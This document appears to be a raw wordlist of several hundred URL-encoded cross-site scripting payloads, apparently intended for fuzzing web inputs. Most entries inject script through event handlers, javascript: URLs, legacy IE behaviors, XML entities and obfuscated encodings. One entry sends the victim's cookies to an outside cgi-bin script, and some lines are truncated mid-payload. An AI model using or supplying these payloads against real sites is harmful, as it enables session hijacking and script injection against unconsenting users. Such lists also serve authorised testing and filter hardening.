%22%3E%3C!DOCTYPE%20x[%3C!ENTITY%20x%20SYSTEM%20%22http://127.0.0.1:3555/xss_serve_payloads/X.html%22%3E]%3E%3Cy%3E&x;%3C/y%3E  
'%3E%3C!DOCTYPE%20x[%3C!ENTITY%20x%20SYSTEM%20%22http://127.0.0.1:3555/xss_serve_payloads/X.html%22%3E]%3E%3Cy%3E&x;%3C/y%3E  
%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3Econfirm(1)%3C/script%3E  
%22%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3Econfirm(1)%3C/script%3E  
'%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3Econfirm(1)%3C/script%3E  
%3C?xml-stylesheet%20type=%22text/css%22%20href=%22data:,*%7bx:expression(write(2));%7d%22?%3E  
%22%3E%3C?xml-stylesheet%20type=%22text/css%22%20href=%22data:,*%7bx:expression(write(2));%7d%22?%3E  
'%3E%3C?xml-stylesheet%20type=%22text/css%22%20href=%22data:,*%7bx:expression(write(2));%7d%22?%3E  
%3C?xml-stylesheet%20type=%22text/xsl%22%20href=%22  
%22%3E%3C?xml-stylesheet%20type=%22text/xsl%22%20href=%22  
'%3E%3C?xml-stylesheet%20type=%22text/xsl%22%20href=%22  
%3C!ENTITY%20x%20%22&  
%22%3E%3C!ENTITY%20x%20%22&  
'%3E%3C!ENTITY%20x%20%22&  
X%3Cx%20style=%60behavior:url(  
1%3Cset/xmlns=%60urn:schemas-microsoft-com:time%60%20style=%60beh&  
1%3Canimate/xmlns=urn:schemas-microsoft-com:time%20style=behavior:url(  
1%3Cvmlframe%20xmlns=urn:schemas-microsoft-com:vml%20style=behavior:url(  
%3Cxml%3E%20%3Crect%20style=%22height:100%;width:100%%22%20id=%22X%22%20onmouseover=%2
%22%3E%3Cxml%3E%20%3Crect%20style=%22height:100%;width:100%%22%20id=%22X%22%20onmouseover=%2
'%3E%3Cxml%3E%20%3Crect%20style=%22height:100%;width:100%%22%20id=%22X%22%20onmouseover=%2
1%3Ca%20href=  
%3Ca%20style=%22behavior:url(  
%22%3E%3Ca%20style=%22behavior:url(  
'%3E%3Ca%20style=%22behavior:url(  
%3Cx%20style=%22behavior:url(test.sct)%22%3E  
%22%3E%3Cx%20style=%22behavior:url(test.sct)%22%3E  
'%3E%3Cx%20style=%22behavior:url(test.sct)%22%3E  
%3CSCRIPTLET%3E%20%3CIMPLEMENTS%20Type=%22Behavior%22%3E%3C/IMPLEMENTS%3E%3CSCRIPT%20Language=%22javascript%22%3Econfirm(1)%3C/SCRIPT%3E%3C/SCRIPTLET%3E  
%22%3E%3CSCRIPTLET%3E%20%3CIMPLEMENTS%20Type=%22Behavior%22%3E%3C/IMPLEMENTS%3E%3CSCRIPT%20Language=%22javascript%22%3Econfirm(1)%3C/SCRIPT%3E%3C/SCRIPTLET%3E  
'%3E%3CSCRIPTLET%3E%20%3CIMPLEMENTS%20Type=%22Behavior%22%3E%3C/IMPLEMENTS%3E%3CSCRIPT%20Language=%22javascript%22%3Econfirm(1)%3C/SCRIPT%3E%3C/SCRIPTLET%3E  
%3Cxml%20id=%22X%22%20src=%22test.htc%22%3E%3C/xml%3E%3Clabel%20dataformatas=%22html%22%20datasrc=%22  
%22%3E%3Cxml%20id=%22X%22%20src=%22test.htc%22%3E%3C/xml%3E%3Clabel%20dataformatas=%22html%22%20datasrc=%22  
'%3E%3Cxml%20id=%22X%22%20src=%22test.htc%22%3E%3C/xml%3E%3Clabel%20dataformatas=%22html%22%20datasrc=%22  
%3C?xml%20version=%221.0%22?%3E%20x%3E%3Cpayload%3E%3C![CDATA[%3Cimg%20src=x%20onerror=confirm(1)%3E]]%3E%3C/payload%3E%3C/x%3E  
%22%3E%3C?xml%20version=%221.0%22?%3E%20x%3E%3Cpayload%3E%3C![CDATA[%3Cimg%20src=x%20onerror=confirm(1)%3E]]%3E%3C/payload%3E%3C/x%3E  
'%3E%3C?xml%20version=%221.0%22?%3E%20x%3E%3Cpayload%3E%3C![CDATA[%3Cimg%20src=x%20onerror=confirm(1)%3E]]%3E%3C/payload%3E%3C/x%3E  
%3C?xml-stylesheet%20type=%22text/css%22?%3E%3Croot%20style=%22x:expression(write(1))%22/%3E  
%22%3E%3C?xml-stylesheet%20type=%22text/css%22?%3E%3Croot%20style=%22x:expression(write(1))%22/%3E  
'%3E%3C?xml-stylesheet%20type=%22text/css%22?%3E%3Croot%20style=%22x:expression(write(1))%22/%3E  
object%20id=%22x%22%20classid=%22clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598%22%3E%3C/object%3E%20%3Cobject%20classid=%22clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B%22%20onqt_error=%22confirm(1)%22%20style=%22behavior:url(  
class%20X%20%7Bpublic%20static%20function%20main()%20%7B%20flash.Lib.getURL(new%20flash.net.URLRequest(flash.Lib._root.url%7C%7C%22javascript:confirm(1)%22),flash.Lib._root.name%7C%7C%22_top%22);%20%7D%7D  
%3Cdiv%20id=%22div1%22%3E%3Cinput%20value=%22%60%60onmouseover=confirm(1)%22%3E%3C/div%3E%20%3Cdiv%20id=%22div2%22%3E%3C/div%3E%3Cscript%3Edocument.getElementById(%22div2%22).innerHTML%20=%20document.getElementById(%22div1%22).innerHTML;%3C/script%3E  
%22%3E%3Cdiv%20id=%22div1%22%3E%3Cinput%20value=%22%60%60onmouseover=confirm(1)%22%3E%3C/div%3E%20%3Cdiv%20id=%22div2%22%3E%3C/div%3E%3Cscript%3Edocument.getElementById(%22div2%22).innerHTML%20=%20document.getElementById(%22div1%22).innerHTML;%3C/script%3E  
'%3E%3Cdiv%20id=%22div1%22%3E%3Cinput%20value=%22%60%60onmouseover=confirm(1)%22%3E%3C/div%3E%20%3Cdiv%20id=%22div2%22%3E%3C/div%3E%3Cscript%3Edocument.getElementById(%22div2%22).innerHTML%20=%20document.getElementById(%22div1%22).innerHTML;%3C/script%3E  
%3Cbody%20onscroll=confirm(1)%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cinput%20autofocus%3E  
%22%3E%3Cbody%20onscroll=confirm(1)%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cinput%20autofocus%3E  
'%3E%3Cbody%20onscroll=confirm(1)%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cinput%20autofocus%3E  
%3Cq/oncut=confirm(1)%3E  
%22%3E%3Cq/oncut=confirm(1)%3E  
'%3E%3Cq/oncut=confirm(1)%3E  
eval(%22aler%22+(!![]+[])[+[]])(%22X%22)   
%3CA%20HREF=%22http://127.0.0.1:3555/xss_serve_payloads/X.html@google%22%3EX%3C/A  
%22%3E%3CA%20HREF=%22http://127.0.0.1:3555/xss_serve_payloads/X.html@google%22%3EX%3C/A  
'%3E%3CA%20HREF=%22http://127.0.0.1:3555/xss_serve_payloads/X.html@google%22%3EX%3C/A  
%3CA%20HREF=%22http://google:127.0.0.1:3555/xss_serve_payloads/X.html%22%3EX%3C/A%3E  
%22%3E%3CA%20HREF=%22http://google:127.0.0.1:3555/xss_serve_payloads/X.html%22%3EX%3C/A%3E  
'%3E%3CA%20HREF=%22http://google:127.0.0.1:3555/xss_serve_payloads/X.html%22%3EX%3C/A%3E  
http://%22%20onerror=%22confirm%281%29;//  
document.location='http://127.0.0.1:3555/xss_serve_payloads/X.html'  
document.location=%22http://127.0.0.1:3555/xss_serve_payloads/X.html%22  
/%22%3E%3Cscript%3Econfirm(/X/)%3Cscript%3E  
;confirm%28String.fromCharCode%2875,67,70%29%29///%27;confirm%28String.fromCharCode%2875,67,70%29%29//%22;confirm%28String.fromCharCode%2875,67,70%29%29///%22;confirm%28String.fromCharCode%2875,67,70%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Econfirm%28String.fromCharCode%2875,67,70%29%29%3C/SCRIPT%3E  
%3Cinput%20onfocus=write(1)%20autofocus%3E  
%22%3E%3Cinput%20onfocus=write(1)%20autofocus%3E  
'%3E%3Cinput%20onfocus=write(1)%20autofocus%3E  
%3Cvideo%20poster=javascript:confirm(1)//%3E%3C/video%3E  
%3Cvideo%20poster=confirm(1)//%3E%3C/video%3E  
%22%3E%3Cvideo%20poster=confirm(1)//%3E%3C/video%3E  
'%3E%3Cvideo%20poster=confirm(1)//%3E%3C/video%3E  
%3Cform%20id=test%20onforminput=confirm(1)%3E%3Cinput%3E%3C/form%3E%3Cbutton%20form=test%20onformchange=confirm(2)%3EX%3C/button%3E  
%22%3E%3Cform%20id=test%20onforminput=confirm(1)%3E%3Cinput%3E%3C/form%3E%3Cbutton%20form=test%20onformchange=confirm(2)%3EX%3C/button%3E  
'%3E%3Cform%20id=test%20onforminput=confirm(1)%3E%3Cinput%3E%3C/form%3E%3Cbutton%20form=test%20onformchange=confirm(2)%3EX%3C/button%3E  
%3Cvideo%3E%3Csource%20onerror=%22confirm(1)%22%3E  
%22%3E%3Cvideo%3E%3Csource%20onerror=%22confirm(1)%22%3E  
'%3E%3Cvideo%3E%3Csource%20onerror=%22confirm(1)%22%3E  
%3Cvideo%3E%3Csource%20onerror=%22confirm(1)%22%3E  
%22%3E%3Cvideo%3E%3Csource%20onerror=%22confirm(1)%22%3E  
'%3E%3Cvideo%3E%3Csource%20onerror=%22confirm(1)%22%3E  
'%3E%3Cvideo%3E%3Csource%20onerror=%22confirm(1)%22%3E%3C/source%3E%3C/video%3E  
%22%3E%3Cvideo%3E%3Csource%20onerror=%22confirm(1)%22%3E%3C/source%3E%3C/video%3E  
%3Cform%3E%3Cbutton%20formaction=%22javascript:confirm(1)%22%3EX%3C/button%3E  
%22%3E%3Cform%3E%3Cbutton%20formaction=%22javascript:confirm(1)%22%3EX%3C/button%3E  
'%3E%3Cform%3E%3Cbutton%20formaction=%22javascript:confirm(1)%22%3EX%3C/button%3E  
%3Cbody%20oninput=confirm(1)%3E%3Cinput%20autofocus%3E  
%22%3E%3Cbody%20oninput=confirm(1)%3E%3Cinput%20autofocus%3E  
'%3E%3Cbody%20oninput=confirm(1)%3E%3Cinput%20autofocus%3E  
%3Cbody%20oninput=confirm(1)%3E%3Cinput%20autofocus%3E  
%22%3E%3Cbody%20oninput=confirm(1)%3E%3Cinput%20autofocus%3E  
'%3E%3Cbody%20oninput=confirm(1)%3E%3Cinput%20autofocus%3E  
%3Cframeset%20onload=confirm(1)%3E  
%22%3E%3Cframeset%20onload=confirm(1)%3E  
'%3E%3Cframeset%20onload=confirm(1)%3E  
%3Ccomment%3E%3Cimg%20src=%22%3C/comment%3E%3Cimg%20src=x%20onerror=confirm(1)//%22%3E  
%22%3E%3Ccomment%3E%3Cimg%20src=%22%3C/comment%3E%3Cimg%20src=x%20onerror=confirm(1)//%22%3E  
'%3E%3Ccomment%3E%3Cimg%20src=%22%3C/comment%3E%3Cimg%20src=x%20onerror=confirm(1)//%22%3E  
%3Ccomment%3E%3Cimg%20src=%22%3C/comment%3E%3Cimg%20src=x%20onerror=confirm(1)//%22%3E  
%22%3E%3Ccomment%3E%3Cimg%20src=%22%3C/comment%3E%3Cimg%20src=x%20onerror=confirm(1)//%22%3E  
'%3E%3Ccomment%3E%3Cimg%20src=%22%3C/comment%3E%3Cimg%20src=x%20onerror=confirm(1)//%22%3E  
%3Cstyle%3E%3Cimg%20src=%22%3C/style%3E%3Cimg%20src=x%20onerror=confirm(1)//%22%3E  
%22%3E%3Cstyle%3E%3Cimg%20src=%22%3C/style%3E%3Cimg%20src=x%20onerror=confirm(1)//%22%3E  
'%3E%3Cstyle%3E%3Cimg%20src=%22%3C/style%3E%3Cimg%20src=x%20onerror=confirm(1)//%22%3E  
%3CSCRIPT%20FOR=document%20EVENT=onreadystatechange%3Econfirm(1)%3C/SCRIPT%3E  
%22%3E%3CSCRIPT%20FOR=document%20EVENT=onreadystatechange%3Econfirm(1)%3C/SCRIPT%3E  
'%3E%3CSCRIPT%20FOR=document%20EVENT=onreadystatechange%3Econfirm(1)%3C/SCRIPT%3E  
%3Cdiv%20style=width:1px;filter:glow%20onfilterchange=confirm(1)%3Ex%3C/div%3E  
%22%3E%3Cdiv%20style=width:1px;filter:glow%20onfilterchange=confirm(1)%3Ex%3C/div%3E  
'%3E%3Cdiv%20style=width:1px;filter:glow%20onfilterchange=confirm(1)%3Ex%3C/div%3E  
%3Cimg[a][b]src=x[d]onerror[c]=[e]%22confirm(1)%22%3E  
%22%3E%3Cimg[a][b]src=x[d]onerror[c]=[e]%22confirm(1)%22%3E  
'%3E%3Cimg[a][b]src=x[d]onerror[c]=[e]%22confirm(1)%22%3E  
'-confirm(1)'  
'-confirm(1)-'  
';confirm(String.fromCharCode(75,67,70))//';confirm(String.fromCharCode(75,67,70))//%22;  
confirm(String.fromCharCode(75,67,70))//%22;confirm(String.fromCharCode(75,67,70))//--%3E%3C/SCRIPT%3E%22%3E'%3E%3CSCRIPT%3Econfirm(String.fromCharCode(75,67,70))%3C/SCRIPT%3E  
%3CIMG%20SRC=  
%22%3E%3CIMG%20SRC=  
exp/*%3CA%20STYLE='no/X:noX(%22*//*%22);X:ex/*X*//*/*/pression(confirm(%22X%22))'%3E  
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Econfirm(%22X%22)%3C/script%3E  
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Econfirm(1)%3C/script%3E  
&'%22%3E%3Cscript%3Econfirm(/X/)%3C/script%3E  
%26'%22%3E%3Cscript%3Econfirm(%2FX%2F)%3C%2Fscript%3E%3D  
&'%22%3EPHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4  
&'%22%3E/'-C%3CFEP=  
&'%22%3E/u%7B3c%7D/u%7B73%7D/u%7B63%7D/u%7B72%7D/u%7B69%7D/u%7B70%7D/u%7B74%7D/u%7B3e%7D/u%7B61%7D/u%7B6c%7D/u%7B65%7D/u%7B72%7D/u%7B74%7D/u%7B28%7D/u%7B2f%7D/u%7B78%7D/u%7B73%7D/u%7B73%7D/u%7B2f%7D/u%7B29%7D/u%7B3c%7D/u%7B2f%7D/u%7B73%7D/u%7B63%7D/u%7B72%7D/u%7B69%7D/u%7B70%7D/u%7B74%7D/u%7B3e%7D  
&'%22%3E/u003c/u0073/u0063/u0072/u0069/u0070/u0074/u003e/u0061/u006c/u0065/u0072/u0074/u0028/u002f/u0078/u0073/u0073/u002f/u0029/u003c/u002f/u0073/u0063/u0072/u0069/u0070/u0074/u003e  
&'%22%3E0x3c7363726970743e616c657274282f7873732f293c2f7363726970743e  
&'%22%3E-1,54,38,53,44,51,55,-1,36,47,40,53,55,-1,-1,59,54,54,-1,-1,-1,-1,54,38,53,44,51,55,-1  
&'%22%3EPGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==  
&'%22%3E3e7470697263732f3c292f7373782f287472656c613e7470697263733c  
&'%22%3Echr(60).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62).chr(97).chr(108).chr(101).chr(114).chr(116).chr(40).chr(47).chr(120).chr(115).chr(115).chr(47).chr(41).chr(60).chr(47).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62)  
&'%22%3ETypeError:%20Cannot%20read%20property%20'$content$'%20of%20undefined  
&'%22%3E/74/163/143/162/151/160/164/76/141/154/145/162/164/50/57/170/163/163/57/51/74/57/163/143/162/151/160/164/76  
&'%22%3E%3Cscript%3Econfirm(/X/)%3C/%C4%81%C4%83%C4%85%3E  
&'%22%3E%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%
&'%22%3E/uff1c/uff53/uff43/uff52/uff49/uff50/uff54/uff1e/uff41/uff4c/uff45/uff52/uff54/uff08/uff0f/uff58/uff53/uff53/uff0f/uff09/uff1c/uff0f/uff53/uff43/uff52/uff49/uff50/uff54/uff1e  
&'%22%3E&lt;script&gt;confirm&lpar;&sol;X&sol;&rpar;&lt;&sol;script&gt;  
&'%22%3E&lt;script&gt;confirm(/X/)&lt;/script&gt;  
&'%22%3EDescription:Syntax%20error%20Msg:Unexpected%20token%20%3C%20)  
%3C/script%3E%3Csvg%20onload='-/%22/-confirm(1)//'%3E  
%22%3E%3C/script%3E%3Csvg%20onload='-/%22/-confirm(1)//'%3E  
'%3E%3C/script%3E%3Csvg%20onload='-/%22/-confirm(1)//'%3E  
%3C!--%20--!%3E%3Cscript%3Econfirm(X)%3C/script%3E--%3E  
%22%3E%3C!--%20--!%3E%3Cscript%3Econfirm(X)%3C/script%3E--%3E  
'%3E%3C!--%20--!%3E%3Cscript%3Econfirm(X)%3C/script%3E--%3E  
%3C![CDATA[%3Cscript%3Econfirm(X)%3C/script%3E]]%3E  
%22%3E%3C![CDATA[%3Cscript%3Econfirm(X)%3C/script%3E]]%3E  
'%3E%3C![CDATA[%3Cscript%3Econfirm(X)%3C/script%3E]]%3E  
[data%20%221%3Cdiv%20style=width:expression(confirm(1))%3E%22]  
+onerror=confirm(1)%3E/  
+onerror=confirm(1)%3E/  
?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%20%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%%2075%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e    
%3Cxml%20onreadystatechange=confirm(1)%3E  
%22%3E%3Cxml%20onreadystatechange=confirm(1)%3E  
'%3E%3Cxml%20onreadystatechange=confirm(1)%3E  
%3Cstyle%20onreadystatechange=confirm(1)%3E  
%22%3E%3Cstyle%20onreadystatechange=confirm(1)%3E  
'%3E%3Cstyle%20onreadystatechange=confirm(1)%3E  
%3Ciframe%20onreadystatechange=confirm(1)%3E  
%22%3E%3Ciframe%20onreadystatechange=confirm(1)%3E  
'%3E%3Ciframe%20onreadystatechange=confirm(1)%3E  
%3Cobject%20onerror=confirm(1)%3E  
%22%3E%3Cobject%20onerror=confirm(1)%3E  
'%3E%3Cobject%20onerror=confirm(1)%3E  
%3Cobject%20type=image%20src=X.gif%20onreadystatechange=confirm(1)%3E%3C/object%3E  
%22%3E%3Cobject%20type=image%20src=X.gif%20onreadystatechange=confirm(1)%3E%3C/object%3E  
'%3E%3Cobject%20type=image%20src=X.gif%20onreadystatechange=confirm(1)%3E%3C/object%3E  
%3Cimg%20type=image%20src=X.gif%20onreadystatechange=confirm(1)%3E  
%22%3E%3Cimg%20type=image%20src=X.gif%20onreadystatechange=confirm(1)%3E  
'%3E%3Cimg%20type=image%20src=X.gif%20onreadystatechange=confirm(1)%3E  
%3Cinput%20type=image%20src=X.gif%20onreadystatechange=confirm(1)%3E  
%22%3E%3Cinput%20type=image%20src=X.gif%20onreadystatechange=confirm(1)%3E  
'%3E%3Cinput%20type=image%20src=X.gif%20onreadystatechange=confirm(1)%3E  
%3Cisindex%20type=image%20src=X.gif%20onreadystatechange=confirm(1)%3E  
%22%3E%3Cisindex%20type=image%20src=X.gif%20onreadystatechange=confirm(1)%3E  
'%3E%3Cisindex%20type=image%20src=X.gif%20onreadystatechange=confirm(1)%3E  
%3Cscript%20onreadystatechange=confirm(1)%3E  
%22%3E%3Cscript%20onreadystatechange=confirm(1)%3E  
'%3E%3Cscript%20onreadystatechange=confirm(1)%3E  
%3Cbgsound%20onpropertychange=confirm(1)%3E  
%22%3E%3Cbgsound%20onpropertychange=confirm(1)%3E  
'%3E%3Cbgsound%20onpropertychange=confirm(1)%3E  
%3Cbody%20onbeforeactivate=confirm(1)%3E  
%22%3E%3Cbody%20onbeforeactivate=confirm(1)%3E  
'%3E%3Cbody%20onbeforeactivate=confirm(1)%3E  
%3Cbody%20onactivate=confirm(1)%3E  
%22%3E%3Cbody%20onactivate=confirm(1)%3E  
'%3E%3Cbody%20onactivate=confirm(1)%3E  
%3Cbody%20onfocusin=confirm(1)%3E  
%22%3E%3Cbody%20onfocusin=confirm(1)%3E  
'%3E%3Cbody%20onfocusin=confirm(1)%3E  
%3Cinput%20onblur=confirm(1)%20autofocus%3E%3Cinput%20autofocus%3E  
%22%3E%3Cinput%20onblur=confirm(1)%20autofocus%3E%3Cinput%20autofocus%3E  
'%3E%3Cinput%20onblur=confirm(1)%20autofocus%3E%3Cinput%20autofocus%3E  
%3Cbody%20onscroll=confirm(1)%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cinput%20autofocus%3E  
%22%3E%3Cbody%20onscroll=confirm(1)%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cinput%20autofocus%3E  
'%3E%3Cbody%20onscroll=confirm(1)%3E%3Cbr%3E%3Cbr%3E...%3Cbr%3E%3Cinput%20autofocus%3E  
%3C/a%20onmousemove=confirm(1)%3E  
%22%3E%3C/a%20onmousemove=confirm(1)%3E  
'%3E%3C/a%20onmousemove=confirm(1)%3E  
%3Caudio%20src=1%20onerror=confirm(1)%3E  
%22%3E%3Caudio%20src=1%20onerror=confirm(1)%3E  
'%3E%3Caudio%20src=1%20onerror=confirm(1)%3E  
%3Cobject%20data=javascript:confirm(1)%3E  
%22%3E%3Cobject%20data=javascript:confirm(1)%3E  
'%3E%3Cobject%20data=javascript:confirm(1)%3E  
%3Ciframe%20src=javascript:confirm(1)%3E  
%22%3E%3Ciframe%20src=javascript:confirm(1)%3E  
'%3E%3Ciframe%20src=javascript:confirm(1)%3E  
%3Cembed%20src=javascript:confirm(1)%3E  
%22%3E%3Cembed%20src=javascript:confirm(1)%3E  
'%3E%3Cembed%20src=javascript:confirm(1)%3E  
%3Cform%20id=test%20/%3E%3Cbutton%20form=test%20formaction=javascript:confirm(1)%3E  
%22%3E%3Cform%20id=test%20/%3E%3Cbutton%20form=test%20formaction=javascript:confirm(1)%3E  
'%3E%3Cform%20id=test%20/%3E%3Cbutton%20form=test%20formaction=javascript:confirm(1)%3E  
%3Cevent-source%20src=javascript:confirm(1)%3E  
%22%3E%3Cevent-source%20src=javascript:confirm(1)%3E  
'%3E%3Cevent-source%20src=javascript:confirm(1)%3E  
%3Cx%20style=x:expression(confirm(1))%3E  
%22%3E%3Cx%20style=x:expression(confirm(1))%3E  
'%3E%3Cx%20style=x:expression(confirm(1))%3E  
%3Cx%20style=behavior:url(  
%22%3E%3Cx%20style=behavior:url(  
'%3E%3Cx%20style=behavior:url(  
%3CiMg%20onerror=confirm(1)%20src=a%3E  
%22%3E%3CiMg%20onerror=confirm(1)%20src=a%3E  
'%3E%3CiMg%20onerror=confirm(1)%20src=a%3E  
%3Cimg/onerror=confirm(1)%20src=a%3E  
%22%3E%3Cimg/onerror=confirm(1)%20src=a%3E  
'%3E%3Cimg/onerror=confirm(1)%20src=a%3E  
%3Cimg[%09]onerror=confirm(1)%20src=a%3E  
%22%3E%3Cimg[%09]onerror=confirm(1)%20src=a%3E  
'%3E%3Cimg[%09]onerror=confirm(1)%20src=a%3E  
%3Cimg[%0d]onerror=confirm(1)%20src=a%3E  
%22%3E%3Cimg[%0d]onerror=confirm(1)%20src=a%3E  
'%3E%3Cimg[%0d]onerror=confirm(1)%20src=a%3E  
%3Cimg[%0a]onerror=confirm(1)%20src=a%3E  
%22%3E%3Cimg[%0a]onerror=confirm(1)%20src=a%3E  
'%3E%3Cimg[%0a]onerror=confirm(1)%20src=a%3E  
%3Cimg/%E2%80%9Donerror=confirm(1)%20src=a%3E  
%22%3E%3Cimg/%E2%80%9Donerror=confirm(1)%20src=a%3E  
'%3E%3Cimg/%E2%80%9Donerror=confirm(1)%20src=a%3E  
%3Cimg/%E2%80%99onerror=confirm(1)%20src=a%3E  
%22%3E%3Cimg/%E2%80%99onerror=confirm(1)%20src=a%3E  
'%3E%3Cimg/%E2%80%99onerror=confirm(1)%20src=a%3E  
%3Cimg/anyjunk/onerror=confirm(1)%20src=a%3E  
%22%3E%3Cimg/anyjunk/onerror=confirm(1)%20src=a%3E  
'%3E%3Cimg/anyjunk/onerror=confirm(1)%20src=a%3E  
%3Cimg%20onerror=%E2%80%9Dconfirm(1)%E2%80%9Dsrc=a%3E  
%22%3E%3Cimg%20onerror=%E2%80%9Dconfirm(1)%E2%80%9Dsrc=a%3E  
'%3E%3Cimg%20onerror=%E2%80%9Dconfirm(1)%E2%80%9Dsrc=a%3E  
%3Cimg%20onerror=%E2%80%99confirm(1)%E2%80%99src=a%3E  
%22%3E%3Cimg%20onerror=%E2%80%99confirm(1)%E2%80%99src=a%3E  
'%3E%3Cimg%20onerror=%E2%80%99confirm(1)%E2%80%99src=a%3E  
%3Cimg%20onerror=%60confirm(1)%60src=a%3E  
%22%3E%3Cimg%20onerror=%60confirm(1)%60src=a%3E  
'%3E%3Cimg%20onerror=%60confirm(1)%60src=a%3E  
%3Ciframe%20src=j&  
%22%3E%3Ciframe%20src=j&  
'%3E%3Ciframe%20src=j&  
%3Cimg%20onerror=a&  
%22%3E%3Cimg%20onerror=a&  
'%3E%3Cimg%20onerror=a&  
%253cimg%20onerror=confirm(1)%20src=a%253e  
%3cimg%20onerror=confirm(1)%20src=a%3e  
%3Cimg%20onerror=confirm(1)%20src=a%3E  
%22%3E%3Cimg%20onerror=confirm(1)%20src=a%3E  
'%3E%3Cimg%20onerror=confirm(1)%20src=a%3E  
%C2%ABimg%20onerror=confirm(1)%20src=a%C2%BB  
%3Cscript%3Ea/u006cert(1);%3C/script%3E  
%22%3E%3Cscript%3Ea/u006cert(1);%3C/script%3E  
'%3E%3Cscript%3Ea/u006cert(1);%3C/script%3E  
%3Cscript%3Eeval(%E2%80%98a/u006cert(1)%E2%80%99);%3C/script%3E  
%22%3E%3Cscript%3Eeval(%E2%80%98a/u006cert(1)%E2%80%99);%3C/script%3E  
'%3E%3Cscript%3Eeval(%E2%80%98a/u006cert(1)%E2%80%99);%3C/script%3E  
%3Cscript%3Eeval(%E2%80%98a/x6cert(1)%E2%80%99);%3C/script%3E  
%22%3E%3Cscript%3Eeval(%E2%80%98a/x6cert(1)%E2%80%99);%3C/script%3E  
'%3E%3Cscript%3Eeval(%E2%80%98a/x6cert(1)%E2%80%99);%3C/script%3E  
%3Cscript%3Eeval(%E2%80%98a/154ert(1)%E2%80%99);%3C/script%3E  
%22%3E%3Cscript%3Eeval(%E2%80%98a/154ert(1)%E2%80%99);%3C/script%3E  
'%3E%3Cscript%3Eeval(%E2%80%98a/154ert(1)%E2%80%99);%3C/script%3E  
%3Cscript%3Eeval(%E2%80%98a/l/ert/(1/)%E2%80%99);%3C/script%3E  
%22%3E%3Cscript%3Eeval(%E2%80%98a/l/ert/(1/)%E2%80%99);%3C/script%3E  
'%3E%3Cscript%3Eeval(%E2%80%98a/l/ert/(1/)%E2%80%99);%3C/script%3E  
%3Cscript%3Eeval(%E2%80%98al%E2%80%99+%E2%80%99ert(1)%E2%80%99);%3C/script%3E  
%22%3E%3Cscript%3Eeval(%E2%80%98al%E2%80%99+%E2%80%99ert(1)%E2%80%99);%3C/script%3E  
'%3E%3Cscript%3Eeval(%E2%80%98al%E2%80%99+%E2%80%99ert(1)%E2%80%99);%3C/script%3E  
%3Cscript%3Eeval(String.fromCharCode(75,67,70));%3C/script%3E  
%22%3E%3Cscript%3Eeval(String.fromCharCode(75,67,70));%3C/script%3E  
'%3E%3Cscript%3Eeval(String.fromCharCode(75,67,70));%3C/script%3E  
%3Cscript%3Eeval(atob(%E2%80%98amF2YXNjcmlwdDphbGVydCgxKQ%E2%80%99));%3C/script%3E  
%22%3E%3Cscript%3Eeval(atob(%E2%80%98amF2YXNjcmlwdDphbGVydCgxKQ%E2%80%99));%3C/script%3E  
